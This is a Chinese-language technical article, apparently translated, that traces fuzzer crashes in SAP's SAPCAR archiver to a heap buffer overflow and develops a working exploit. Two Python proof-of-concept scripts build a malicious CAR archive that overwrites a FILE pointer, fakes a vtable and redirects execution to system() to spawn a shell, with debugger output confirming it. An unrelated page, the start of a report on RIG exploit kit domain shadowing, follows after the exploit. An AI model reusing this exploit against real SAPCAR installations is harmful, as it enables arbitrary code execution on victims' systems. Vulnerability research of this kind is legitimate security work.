我们的起始点是那导致SAPCAR代码发生崩溃的507份文件，这些文件由[@martingalloar](https://twitter.com/martingalloar)慷慨提供，感谢Martin！这些崩溃信息是通过[honggfuzz](https://github.com/google/honggfuzz)（一款fuzzer-模糊测试工具）找到的，fuzzer对文档内容列表功能进行了测试，测试过程中需要使用到命令行参数-tvf。
Honggfuzz所创建的文件名中包含某些与崩溃相关的信息，例如程序计数器注册地址，以及终止进程的信号描述。下面给出的是一个文件示例：
SIGSEGV.PC.7ffff6d1ef44.STACK.2d9c8e9f0.CODE.1.ADDR.0x8c4ff0.INSTR.movdqu_-0x50()%rsi),%xmm5.fuzz.verified
在对崩溃记录进行了简单的分析之后，我们发现PC（程序计数器）值重复了很多次，这表明单独的崩溃事件数量可能比崩溃文件的数量要少，也就是相同的崩溃事件可能多次出现。单独PC地址的准确数量可以通过下列命令确定：
$ ls | cut -d '.' -f 3 | uniq | wc -l
13
这是一个非常好的消息，因为我们只用处理13个不同的崩溃点，而不是一开始的507个。
**3.1 对崩溃信息进行分类**
接下来我们要做的就是确定每一个输入文件导致代码发生崩溃的原因。对于那13个崩溃点，我们只需要在程序运行时绑定一个调试器（Debugger），然后在程序发生崩溃时检查寄存器和内存情况，而且这种方法也适用于输入文件数量较大的情况。
幸运的是，网上有很多工具可以帮助我们完成这些工作。其中一个是一款针对gdb的名叫[exploitable](https://github.com/jfoote/exploitable)的插件，这款插件可以根据严重性和可利用性对崩溃进行分类。为了保证分类结果的有效性，它使用了一系列启发式算法来分析被调试程序的运行状态。
[exploitable](https://github.com/jfoote/exploitable)插件仍然会要求我们通过gdb来运行每一个崩溃文件。为了让整个过程通过自动化的方式实现，我们还需要使用到这款名叫[Crashwalk](https://github.com/bnagy/crashwalk)（由Ben
Nagy开发）的实用工具。虽然它使用的是相同的gdb插件，但它可以简化整个分析过程，并允许我们以多种形式访问分析结果。安装步骤如下：
$ git clone https://github.com/bnagy/crashwalk.git
$ sudo apt-get install golang-go
$ export GOPATH=$HOME/crashwalk/
$ go get -u github.com/bnagy/crashwalk/cmd/...
$ mkdir src
$ git clone https://github.com/jfoote/exploitable.git src/exploitable
不过Crashwalk在选取文件名的时候存在一些问题，因此我们需要对崩溃文件进行快速重命名，以此来避免文件名中存在特殊字符，然后保证工具的正常运行：
$ ./crashwalk/bin/cwtriage -root crashes/ -match lala -- ./sapcar_721.510_linux_x86_64 -tvf @@
cwtriage将会输出每一个崩溃文件的分析结果，并将分析数据默认保存在crashwalk.db数据库中，我们可以使用cwdump命令来查询这个数据库。
输出结果包括对漏洞可利用性的分类，当然了，分类的准确性还不能保证，因为这个结果只是exploitable插件使用启发式算法得出的，但我们可以根据这个结果来确定需要分析的漏洞顺序。由于我们真正感兴趣的是如何利用那些可利用的漏洞，所以我们首先要查询crashwalk数据库来获取那些可利用的漏洞：
$ ./crashwalk/bin/cwdump crashwalk.db | sed -n -e '/Classification: EXPLOITABLE/,/END SUMMARY/ p'
Classification: EXPLOITABLE
Hash: f5c06ffc7aa3f42a736f4bb7ea700ef9.5f3bf91c3626b65747adc8881231d81b
Command: ./sapcar_721.510_linux_x86_64 -tvf crashes/lala4
Faulting Frame:
None @ 0x000000000040c58b: in /home/ubuntu/sapcar_721.510_linux_x86_64
Disassembly:
Stack Head (7 entries):
__GI__IO_unsave_markers @ 0x00007ffff6bc092a: in /lib/x86_64-linux-gnu/libc-2.23.so (BL)
_IO_new_file_close_it @ 0x00007ffff6bbd872: in /lib/x86_64-linux-gnu/libc-2.23.so (BL)
_IO_new_fclose @ 0x00007ffff6bb13ef: in /lib/x86_64-linux-gnu/libc-2.23.so (BL)
None @ 0x000000000040c58b: in /home/ubuntu/sapcar_721.510_linux_x86_64
None @ 0x000000000041958b: in /home/ubuntu/sapcar_721.510_linux_x86_64
None @ 0x000000000042bc43: in /home/ubuntu/sapcar_721.510_linux_x86_64
None @ 0x000000000043fc66: in /home/ubuntu/sapcar_721.510_linux_x86_64
Registers:
rax=0x00000000005a8594 rbx=0x00000000005a8594 rcx=0x00007fffffffcb00 rdx=0x0000000000008000
rsi=0x00007ffff6f07b28 rdi=0x00000000005a8594 rbp=0x0000000000000000 rsp=0x00007fffffffcac8
r8=0x0000000000a1c770 r9=0x0000000000000000 r10=0x0000000000000477 r11=0x00007ffff6bb1260
r12=0x0000000000000000 r13=0x00007ffff0000920 r14=0x0000000000a3070d r15=0x000000000000000e
rip=0x00007ffff6bc092a efl=0x0000000000010202 cs=0x0000000000000033 ss=0x000000000000002b
ds=0x0000000000000000 es=0x0000000000000000 fs=0x0000000000000000 gs=0x0000000000000000
Extra Data:
Description: Access violation on destination operand
Short description: DestAv (8/22)
Explanation: The target crashed on an access violation at an address matching the destination operand of the instruction. This likely indicates a write access violation, which means the attacker may control the write address and/or value.
---END SUMMARY---
我个人非常喜欢[gdb-peda](https://github.com/longld/peda)插件，所以我将会在接下来的测试过程中使用到它。当然了，你也可以使用例如[gef](https://github.com/hugsy/gef)和[pwndbg](https://github.com/pwndbg/pwndbg)这样的工具，但我目前还没有尝试使用过它们。
通过gdb来运行SAPCAR代码之后，我们将得到下列输出：
[----------------------------------registers-----------------------------------]
RAX: 0x5a8594 (sub ecx,esi)
RBX: 0x5a8594 (sub ecx,esi)
RCX: 0x7fffffffcb00 --> 0x5a8594 (sub ecx,esi)
RDX: 0x8000
RSI: 0x7ffff6f07b28 --> 0xa2dc30 --> 0x7ffff6f06260 --> 0x0
RDI: 0x5a8594 (sub ecx,esi)
RBP: 0x0
RSP: 0x7fffffffcaf8 --> 0x7ffff6bbd872 (<_IO_new_file_close_it+50>: test BYTE PTR [rbx+0x74],0x20)
RIP: 0x7ffff6bc092a (<__GI__IO_unsave_markers+10>: mov QWORD PTR [rdi+0x60],0x0)
R8 : 0xa2dc40 --> 0xa304e0 --> 0x0
R9 : 0x0
R10: 0x477
R11: 0x7ffff6bb1260 (<_IO_new_fclose>: push r12)
R12: 0x0
R13: 0x7ffff0000920 --> 0x474e5543432b2b00 ('')
R14: 0xa3056d --> 0x20000000 ('')
R15: 0xe
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff6bc0920 <__GI__IO_unsave_markers>: cmp QWORD PTR [rdi+0x60],0x0
0x7ffff6bc0925 <__GI__IO_unsave_markers+5>: mov rax,rdi
0x7ffff6bc0928 <__GI__IO_unsave_markers+8>: je 0x7ffff6bc0932 <__GI__IO_unsave_markers+18>
=> 0x7ffff6bc092a <__GI__IO_unsave_markers+10>: mov QWORD PTR [rdi+0x60],0x0
0x7ffff6bc0932 <__GI__IO_unsave_markers+18>: mov rdi,QWORD PTR [rax+0x48]
0x7ffff6bc0936 <__GI__IO_unsave_markers+22>: test rdi,rdi
0x7ffff6bc0939 <__GI__IO_unsave_markers+25>: je 0x7ffff6bc0965 <__GI__IO_unsave_markers+69>
0x7ffff6bc093b <__GI__IO_unsave_markers+27>: test DWORD PTR [rax],0x100
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcaf8 --> 0x7ffff6bbd872 (<_IO_new_file_close_it+50>: test BYTE PTR [rbx+0x74],0x20)
0008| 0x7fffffffcb00 --> 0x5a8594 (sub ecx,esi)
0016| 0x7fffffffcb08 --> 0x7fffffffcb50 --> 0x7fffffffcfe0 --> 0x7fffffffe1d0 --> 0x7fffffffe3b0 --> 0x5af800 (mov QWORD PTR [rsp-0x18],rbx)
0024| 0x7fffffffcb10 --> 0xa30510 ("sapevents.dll")
0032| 0x7fffffffcb18 --> 0x7ffff6bb13ef (<_IO_new_fclose+399>: mov edx,DWORD PTR [rbx])
0040| 0x7fffffffcb20 --> 0xa1c790 --> 0xa2dc60 --> 0xa30520 --> 0x20 (' ')
0048| 0x7fffffffcb28 --> 0x7fffffffcb50 --> 0x7fffffffcfe0 --> 0x7fffffffe1d0 --> 0x7fffffffe3b0 --> 0x5af800 (mov QWORD PTR [rsp-0x18],rbx)
0056| 0x7fffffffcb30 --> 0xa30510 ("sapevents.dll")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__GI__IO_unsave_markers (fp=fp@entry=0x5a8594) at genops.c:1065
有趣的地方在于，指向FILE结构的指针通常会在堆内存中出现问题。不过在我们的测试过程中，它指向的是文本部分中的某个位置：
gdb-peda$ vmmap 0x5a8594
Start End Perm Name
0x00400000 0x007c9000 r-xp /home/ubuntu/sapcar_721.510_linux_x86_64
找到了该文件指针的位置并检查了周围内存区域之后，我们可以看到这些数据与输入文件内容非常相似：
gdb-peda$ find 0x5a8594
Searching for '0x5a8594' in: None ranges
Found 1 results, display max 1 items:
[heap] : 0xa1d8d0 --> 0x5a8594 (sub ecx,esi)
gdb-peda$ x/16xg 0xa1d8d0 - 64
0xa1d890: 0x6d942db80cb306f7 0xb31049e79a5e9c99
0xa1d8a0: 0x5bceaebdc9b16ad3 0x05d38708178849d0
0xa1d8b0: 0x39c05825344a4838 0x00000000005b6750
0xa1d8c0: 0xdacaadadcf57bed4 0x4806b9a200000002
0xa1d8d0: 0x00000000005a8594 0x00007ffff6593fdc
0xa1d8e0: 0x00007ffff6594088 0x30302e3220524143
0xa1d8f0: 0x000081b6f6594752 0x0000000000043200
0xa1d900: 0x00007fff00000000 0x0000000035be41f6
我们可以通过grep命令得知这些值其实都存在于我们的测试文件中，准确说来，它们都位于测试文件的结尾部分：
$ grep -obUaP "xa2xb9x06x48x94x85x5a" crashes/lala4
30501:��H��Z
$ xxd crashes/lala4 | grep 7720
00007720: da7a 62ed e2a2 b906 4894 855a .zb.....H..Z
那么我们可以修改堆内存中的数据吗？我们可以通过向输入文件结尾添加数据并重新运行代码来得到答案：
$ echo AAAABBBB >> crashes/lala4
这一次的崩溃发生在_IO_feof，而我们现在可以完全控制文件指针的值了：
Stopped reason: SIGSEGV
_IO_feof (fp=0x42414141415a8594) at feof.c:35
**3.2 导致漏洞出现的根本原因**
使用bt命令查看了整个栈的back-trace之后，我们发现了调用feof的函数：
0x4386f0: push rbp
0x4386f1: mov rbp,rsp
0x4386f4: mov QWORD PTR [rbp-0x8],r13
0x4386f8: mov r13,rdi
0x4386fb: mov QWORD PTR [rbp-0x18],rbx
0x4386ff: mov QWORD PTR [rbp-0x10],r12
0x438703: sub rsp,0x20
0x438707: mov r12,rcx
0x43870a: mov rcx,QWORD PTR [r13+0x18]
0x43870e: mov rdi,rsi
0x438711: mov rbx,rdx
0x438714: mov esi,0x1
0x438719: call 0x40b3e0 <fread@plt>
0x43871e: cmp rbx,rax
0x438721: mov QWORD PTR [r12],rax
0x438725: je 0x438734
0x438727: mov rdi,QWORD PTR [r13+0x18]
0x43872b: call 0x40b340 <feof@plt>
接下来，我们在fread处（0x438719）设置了一个断点，然后重新运行程序。除此之外，我们需要弄清楚原始的文件指针发生了什么，所以我们还设置了一个检测点，当它被重写时我们要暂停程序的执行。我们可以通过检查那些传递给文件IO函数的参数来得到文件指针的原始地址。
Breakpoint 2, __GI__IO_fread (buf=0x7fffffffcb10, size=0x1, count=0x2, fp=0xa2da10) at iofread.c:31
gdb-peda$ find 0xa2da10
Searching for '0xa2da10' in: None ranges
Found 1 results, display max 1 items:
[heap] : 0xa1d8d0 --> 0xa2da10 --> 0xfbad2488
gdb-peda$ watch *0xa1d8d0
Hardware watchpoint 1: *0xa1d8d0
我们可以看到第一个检测点，这部分数据是正确的：
Hardware watchpoint 1: *0xa1d8d0
Old value = 0x0
New value = 0xa2da10
0x000000000043859f in ?? ()
而第二个检测点则出现了溢出的情况：
Hardware watchpoint 1: *0xa1d8d0
Old value = 0xa2da10
New value = 0x415a8594
gdb-peda$ bt
#0 0x00007ffff6c3a680 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
#1 0x00007ffff6bbcf79 in __GI__IO_file_xsgetn (fp=0xa2da10, data=<optimized out>, n=0xb5ef) at fileops.c:1434
#2 0x00007ffff6bb2236 in __GI__IO_fread (buf=<optimized out>, size=0x1, count=0xb5ef, fp=0xa2da10) at iofread.c:38
#3 0x000000000043871e in ?? ()
#4 0x000000000040c01a in ?? ()
#5 0x000000000040dc5f in ?? ()
#6 0x0000000000418e23 in ?? ()
#7 0x000000000042bc43 in ?? ()
#8 0x000000000043fc66 in ?? ()
#9 0x00007ffff6b64830 in __libc_start_main (main=0x43ffb0, argc=0x3, argv=0x7fffffffe498, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe488)
at ../csu/libc-start.c:291
于是，我们可以看到fread被调用并读取了0xb5ef字节，并导致了文件指针被重写。检测数据如下：
fread size contents
----------------------------------------------------------------------------- #1 0x8 bytes File Format / Version = CAR 2.00
#2 0x22 bytes RG (regular file)
#3 0xd bytes File name = sapevents.dll
#4 0x2 bytes Block type - SAPCAR_BLOCK_TYPE_COMPRESSED = "DA"
#5 0x4 bytes ????
#6 0x2 bytes Block type - SAPCAR_BLOCK_TYPE_COMPRESSED = "DA"
#7 0x4 bytes ????
#8 0x2 bytes Block type - INVALID TYPE = "D>"
#9 0x20 bytes ????
#10 0xb5ef bytes User controlled data that will overwrite stuff on the heap
有效的数据块类型为DA、ED、UD和UE。当文件中包含其他标识符时，程序将会额外读取32个字节，其中包含某些文件元数据（细节内容尚不知晓）。但是在对输入内容的最后四个字节数据进行了分析之后，我们发现它包含的是下一个fread的大小：
gdb-peda$ x/32xb 0xa2dc62
0xa2dc62: 0x01 0xac 0xa6 0x08 0x3c 0x27 0xb8 0xc4
0xa2dc6a: 0x62 0x28 0x9d 0x19 0xe2 0xd3 0xa3 0xc3
0xa2dc72: 0xcb 0x94 0x5d 0xec 0x02 0x36 0x7b 0x9f
0xa2dc7a: 0x52 0xb8 0x2a 0xfb 0x1f 0x6a 0xef 0xb5
在输入文件中修改了这些字节数据之后，我们将能够控制传递给fread的数据大小（最多2个字节）。通过对之前malloc的访问以及程序执行流的监控，我们找到了导致漏洞出现的原因：
0x40c01e: mov rcx,r14
0x40c021: mov esi,0x1100
0x40c026: mov rdi,r14
0x40c029: call 0x4a73a0
--->
0x4a73a0: push rbp
0x4a73a1: mov rbp,rsp
0x4a73a4: mov QWORD PTR [rbp-0x28],rbx
0x4a73a8: mov QWORD PTR [rbp-0x20],r12
0x4a73ac: mov rbx,rcx
0x4a73af: mov QWORD PTR [rbp-0x18],r13
0x4a73b3: mov QWORD PTR [rbp-0x10],r14
0x4a73b7: mov r14,rdi
0x4a73ba: mov QWORD PTR [rbp-0x8],r15
0x4a73be: mov edi,esi
0x4a73c0: sub rsp,0x40
0x4a73c4: mov r12d,esi
0x4a73c7: mov r15,rdx
0x4a73ca: call 0x459720
--->
0x45973d: mov r13d,edi
[...]
0x45977d: movsxd rdi,r13d
0x459780: call 0x40b0c0 <malloc@plt>
现在，引起溢出的原因已经很明显了：我们将任意大小（最大为0xffff）的数据拷贝到了一个大小只有0x1100的缓冲区中。因为当数据块类型未知时，程序只会根据输入文件中的元数据大小来动态分配缓冲区空间。
通过整合上述这些内容，我们就可以设计一个简单的漏洞利用技术来实现代码执行了。
**四、漏洞利用**
由于我们可以重写指向FILE结构的指针，因此漏洞的利用也是非常简单的。在设计漏洞利用方法之前，我们首先要了解这个名叫[how2heap](https://github.com/shellphish/how2heap)的库，并且读一下Kees
Cook的这篇关于利用FILE结构的文章【[点我阅读](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)】。
核心思想如下：当fopen被调用时，系统会分配一个新的FILE结构。glibc将会分配一个内部结构，其中包含结构体_IO_FILE和一个指向另一个结构体（调用_IO_jump_t）的指针:
Breakpoint 1, __GI__IO_fread (buf=0xa1d8e8, size=0x1, count=0x8, fp=0xa2da10) at iofread.c:31
gdb-peda$ p *fp
$2 = {
_flags = 0xfbad2488,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff6f08540 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0xa2daf0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0xa2db00,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '00' <repeats 19 times>
}
gdb-peda$ x/xg 0xa2da10 + sizeof(*fp)
0xa2dae8: 0x00007ffff6f066e0
gdb-peda$ x/xg 0x00007ffff6f066e0
0x7ffff6f066e0 <_IO_file_jumps>: 0x0000000000000000
gdb-peda$ p _IO_file_jumps
$6 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff6bbd9c0 <_IO_new_file_finish>,
__overflow = 0x7ffff6bbe730 <_IO_new_file_overflow>,
__underflow = 0x7ffff6bbe4a0 <_IO_new_file_underflow>,
__uflow = 0x7ffff6bbf600 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff6bc0980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff6bbd1e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff6bbcec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff6bbc4c0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff6bbfa00 <_IO_default_seekpos>,
__setbuf = 0x7ffff6bbc430 <_IO_new_file_setbuf>,
__sync = 0x7ffff6bbc370 <_IO_new_file_sync>,
__doallocate = 0x7ffff6bb1180 <__GI__IO_file_doallocate>,
__read = 0x7ffff6bbd1a0 <__GI__IO_file_read>,
__write = 0x7ffff6bbcb70 <_IO_new_file_write>,
__seek = 0x7ffff6bbc970 <__GI__IO_file_seek>,
__close = 0x7ffff6bbc340 <__GI__IO_file_close>,
__stat = 0x7ffff6bbcb60 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff6bc0af0 <_IO_default_showmanyc>,
__imbue = 0x7ffff6bc0b00 <_IO_default_imbue>
}
由于我们可以控制文件指针以及输入文件中的数据，我们就可以伪造一个FILE结构并设置一个自定义的vtable指针。
我们将使用pysap库来创建CAR文档，我们可以使用pip命令安装pysap：
$ pip install pysap
**4.1 重写文件指针**
第一步就是用任意值重写文件指针。我们首先用0x1100字节数据填充缓冲区，然后又添加了某些数据填充了堆空间，指针成功分配之后我们就要重写指针了。
PoC代码如下：
#!/usr/bin/env python
import struct
from scapy.packet import Raw
from pysap.SAPCAR import *
def overwrite_FILE_pointer(address):
fill_buf = "A" * 0x1100
gap_to_fp = "B" * 0x38
fp = struct.pack("<Q", address)
return fill_buf + gap_to_fp + fp
def write_exp(data):
with open("sapevents.dll", "w") as fd:
fd.write("Some string to compress")
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
f.add_file("sapevents.dll")
f._sapcar.files0[0].blocks.append(Raw("DAx08x00x00x00"))
f._sapcar.files0[0].blocks.append(Raw("DAx84x65x00x00"))
f._sapcar.files0[0].blocks.append(Raw("D>" + "x00"*32 + "xd0xd0"))
f._sapcar.files0[0].blocks.append(Raw(data))
f.write()
def main():
write_exp(overwrite_FILE_pointer(0x4242424243434343))
if __name__ == "__main__":
main()
运行PoC后会创建一个poc.car文件，然后绑定gdb并运行该文件：
Stopped reason: SIGSEGV
_IO_feof (fp=0x4242424243434343) at feof.c:35
**4.2 控制执行流**
接下来要存储我们伪造的FILE结构，我们的运行环境禁用了ASLR，因此我们只能使用硬编码的缓冲区地址。
#!/usr/bin/env python
import struct
from scapy.packet import Raw
from pysap.SAPCAR import *
FILE_STRUCT_SIZE = 0xd8
BUF_ADDRESS = 0xa1c798
def build_IO_FILE_struct():
file_struct = ""
file_struct += struct.pack("<Q", 0x80018001) # _flags
file_struct += struct.pack("<Q", 0x41414141) # _IO_read_ptr
file_struct += struct.pack("<Q", 0x42424242) # _IO_read_end
file_struct += struct.pack("<Q", 0x43434343) # _IO_read_base
file_struct += struct.pack("<Q", 0x44444444) # _IO_write_base
file_struct += struct.pack("<Q", 0x45454545) # _IO_write_ptr
file_struct += struct.pack("<Q", 0x46464646) # _IO_write_end
file_struct += struct.pack("<Q", 0x47474747) # _IO_buf_base
file_struct += struct.pack("<Q", 0x48484848) # _IO_buf_end
file_struct += struct.pack("<Q", 0x49494949) # _IO_save_base
file_struct += struct.pack("<Q", 0x50505050) # _IO_backup_base
file_struct += struct.pack("<Q", 0x51515151) # _IO_save_end
file_struct += struct.pack("<Q", 0x52525252) # _markers
file_struct += struct.pack("<Q", 0x53535353) # _chain
file_struct += struct.pack("<L", 0x54545454) # _fileno
file_struct += struct.pack("<L", 0x55555555) # _flags2
file_struct += struct.pack("<Q", 0x56565656) # _old_offset
file_struct += struct.pack("<H", 0x5757) # _cur_column
file_struct += struct.pack("<H", 0x58) # _vtable_offset
file_struct += struct.pack("<L", 0x59595959) # _shortbuf
file_struct += struct.pack("<Q", 0x60606060) # _lock
file_struct += struct.pack("<Q", 0x61616161) # _offset
file_struct += struct.pack("<Q", 0x62626262) # _codecvt
file_struct += struct.pack("<Q", 0x63636363) # _wide_data
file_struct += struct.pack("<Q", 0x64646464) # _freeres_list
file_struct += struct.pack("<Q", 0x65656565) # _freeres_buf
file_struct += struct.pack("<Q", 0x66666666) # __pad5
file_struct += struct.pack("<L", 0x67676767) # _mode
file_struct += "A" * 20 # _unused2
return file_struct
def build_IO_jump_t_vtable():
vtable = ""
vtable += struct.pack("<Q", BUF_ADDRESS + 2 * FILE_STRUCT_SIZE + 8)
vtable += struct.pack("<Q", 0x41424344) * 21
return vtable
def overwrite_FILE_pointer(address):
fake_structure = build_IO_FILE_struct() * 2
vtable = build_IO_jump_t_vtable()
fill_buf = "A" * (0x1100 - len(fake_structure) - len(vtable))
gap_to_fp = "B" * 0x38
fp = struct.pack("<Q", address)
return fake_structure + vtable + fill_buf + gap_to_fp + fp
def write_exp(data):
with open("sapevents.dll", "w") as fd:
fd.write("Some string to compress")
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
f.add_file("sapevents.dll")
f._sapcar.files0[0].blocks.append(Raw("DAx08x00x00x00"))
f._sapcar.files0[0].blocks.append(Raw("DAx84x65x00x00"))
f._sapcar.files0[0].blocks.append(Raw("D>" + "x00"*32 + "xd0xd0"))
f._sapcar.files0[0].blocks.append(Raw(data))
f.write()
def main():
write_exp(overwrite_FILE_pointer(BUF_ADDRESS + FILE_STRUCT_SIZE))
if __name__ == "__main__":
main()
我们创建了一个新的文档，然后再次运行代码。这一次我们将控制RIP并重定向执行流：
Stopped reason: SIGSEGV
0x0000000041424344 in ?? ()
gdb-peda$ bt
#0 0x0000000041424344 in ?? ()
#1 0x00007ffff6bb129f in _IO_new_fclose (fp=0xa1c870) at iofclose.c:62
#2 0x000000000040c58b in ?? ()
#3 0x000000000041958b in ?? ()
#4 0x000000000042bc43 in ?? ()
#5 0x000000000043fc66 in ?? ()
#6 0x00007ffff6b64830 in __libc_start_main (main=0x43ffb0, argc=0x3, argv=0x7fffffffe488, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe478)
at ../csu/libc-start.c:291
除此之外，我们还可以检查文件指针来确定我们伪造的结构体存储正确了：
gdb-peda$ p *(FILE *)0xa1c870
$1 = {
_flags = 0x80018001,
_IO_read_ptr = 0x41414141 <error: Cannot access memory at address 0x41414141>,
_IO_read_end = 0x42424242 <error: Cannot access memory at address 0x42424242>,
_IO_read_base = 0x43434343 <error: Cannot access memory at address 0x43434343>,
_IO_write_base = 0x44444444 <error: Cannot access memory at address 0x44444444>,
_IO_write_ptr = 0x45454545 <error: Cannot access memory at address 0x45454545>,
_IO_write_end = 0x46464646 <error: Cannot access memory at address 0x46464646>,
_IO_buf_base = 0x47474747 <error: Cannot access memory at address 0x47474747>,
_IO_buf_end = 0x48484848 <error: Cannot access memory at address 0x48484848>,
_IO_save_base = 0x49494949 <error: Cannot access memory at address 0x49494949>,
_IO_backup_base = 0x50505050 <error: Cannot access memory at address 0x50505050>,
_IO_save_end = 0x51515151 <error: Cannot access memory at address 0x51515151>,
_markers = 0x52525252,
_chain = 0x53535353,
_fileno = 0x54545454,
_flags2 = 0x55555555,
_old_offset = 0x56565656,
_cur_column = 0x5757,
_vtable_offset = 0x58,
_shortbuf = "",
_lock = 0x60606060,
_offset = 0x61616161,
_codecvt = 0x62626262,
_wide_data = 0x63636363,
_freeres_list = 0x64646464,
_freeres_buf = 0x65656565,
__pad5 = 0x66666666,
_mode = 0x67676767,
_unused2 = 'A' <repeats 20 times>
}
**4.3 生成Shell**
成功控制了执行流之后，我们有多种方法来生成Shell。其中一种针对懒人的方法可以通过system("/bin/sh")实现。具体如下：
$ objdump -M intel -d sapcar_721.510_linux_x86_64 | grep "<system@plt>"
000000000040bbe0 <system@plt>:
455db1: e8 2a 5e fb ff call 40bbe0 <system@plt>
此时，我们可以看到RDI寄存器中的指针指向的是伪造FILE结构中的标识字符串：
Stopped reason: SIGSEGV
0x0000000041424344 in ?? ()
gdb-peda$ x/xg $rdi
0xa1c870: 0x0000000080018001
这也就意味着我们可以在这个缓冲区中存在一个sh字符串，然后重定向执行流并让它调用system命令来拿到Shell。
如果我们修改完后执行程序，我们会发现系统将抛出一个错误（_IO_feof中的分段错误）：
=> 0x7ffff6bb9912 <_IO_feof+34>: cmp r10,QWORD PTR [r8+0x8]
gdb-peda$ info r r8
r8 0x60606060 0x60606060
这是因为我们修改了标识符，而此时文件函数将会尝试访问_lock指针。我们可以使用之前正确的标识符并在后面添加“;sh”来执行Shell。
修改如下：
file_struct += "x01x80;shx00x00x00" # _flags
然后修改vtable指针：
vtable += struct.pack("<Q", 0x455db1) * 21
运行下列代码之后，我们就成功拿到了Shell：
gdb-peda$ r -vtf poc.car
Starting program: /home/ubuntu/sapcar_721.510_linux_x86_64 -vtf poc.car
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
SAPCAR: processing archive poc.car (version 2.00)
-rw-rw-r-- 23 25 Apr 2017 21:18 sapevents.dll
[New process 14925]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 14925 is executing new program: /bin/dash
sh: 1: �: not found
[New process 14926]
process 14926 is executing new program: /bin/dash
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
**五、参考资料**
[1] <https://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability>
[2] <https://github.com/google/honggfuzz>
[3] <https://github.com/jfoote/exploitable>
[4] <https://github.com/bnagy/crashwalk>
[5] <https://github.com/longld/peda>
[6] <https://github.com/hugsy/gef>
[7] <https://github.com/pwndbg/pwndbg>
[8] <https://github.com/shellphish/how2heap>
[9] <https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/>
[10] <https://github.com/CoreSecurity/pysap>
[11]
<https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51;hp=64ba17317dc9343f0958755ad04af71ec3da637b> | 社区文章 |
# 【技术分享】ShadowFall：对域名阴影攻击活动的详细分析报告
|
##### 译文声明
本文是翻译文章，文章来源：rsa.com
原文地址：<https://blogs.rsa.com/shadowfall/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
在过去的几个月里，RSA研究部门与多个机构一起努力，专门针对RIG攻击工具集（RIG Exploit Kit，简称为RIG
EK或者RIG）进行了研究，在研究过程中，我们深入了解了攻击者使用的基础设施（也可能是整个生态环境），同时也发现了攻击者所使用的域名阴影“domain
shadowing”技术。所谓的域名阴影技术，就是指“攻击者窃取受害者的域名凭证，然后创建指向恶意服务器的多个子域名的一种技术”。
这项研究的直接成果就是，数以万计活跃的影子域名资源得以删除，这些资源都与RIG、恶意软件以及恶意广告等攻击活动有关。
2017年2月21日以至3月20日期间，我们收集并评估了研究任务所需的初始数据，在后续研究过程中，我们对重要数据也进行了采集、评估以及研究，以确保整个研究内容与RIG
EK活动有关。
**二、RIG EXPLOIT KIT**
我们整个研究工作的立足点是对RIG EK的详细分析，因此我们有必要详细阐述RIG
EK的具体工作方式。图1描述了RIG的典型操作流程，这一流程也是我们下文的分析基础。
图1. RIG分发概述
如图2所示，RIG目前仍是市场上活跃的一个具备多样化攻击载荷的工具集。
图2.
截至2017年5月17日RIG攻击工具的活动情况（参考来源：[@executemalware](http://executemalware.com/)）
**三、被攻破的站点**
RIG
EK攻击活动中最初的落脚点就是被攻破的那些站点，这也是攻击活动中最关键的一环。虽然恶意广告、Chrome的字体弹出窗口以及其他方法在恶意页面传播方面有一定作用，但根据我们的研究，恶意页面最主要的传播途径是将iframe注入到已被攻击者攻陷的WordPress、Joomla!以及Drupal网站中。
图3.
017年3月6日注入的[iframe](https://gist.github.com/anonymous/6bc39fac0a5f1f4c7ecf63925148e1d3/)
图4.
2017年3月20日注入的[iframe](https://gist.github.com/anonymous/8b05509c4355973149af285c6ecd0d7b)
图5.
2017年4月10日注入的[iframe](https://gist.github.com/anonymous/780556dbe79cd0dd5abef7a726f23b4d)
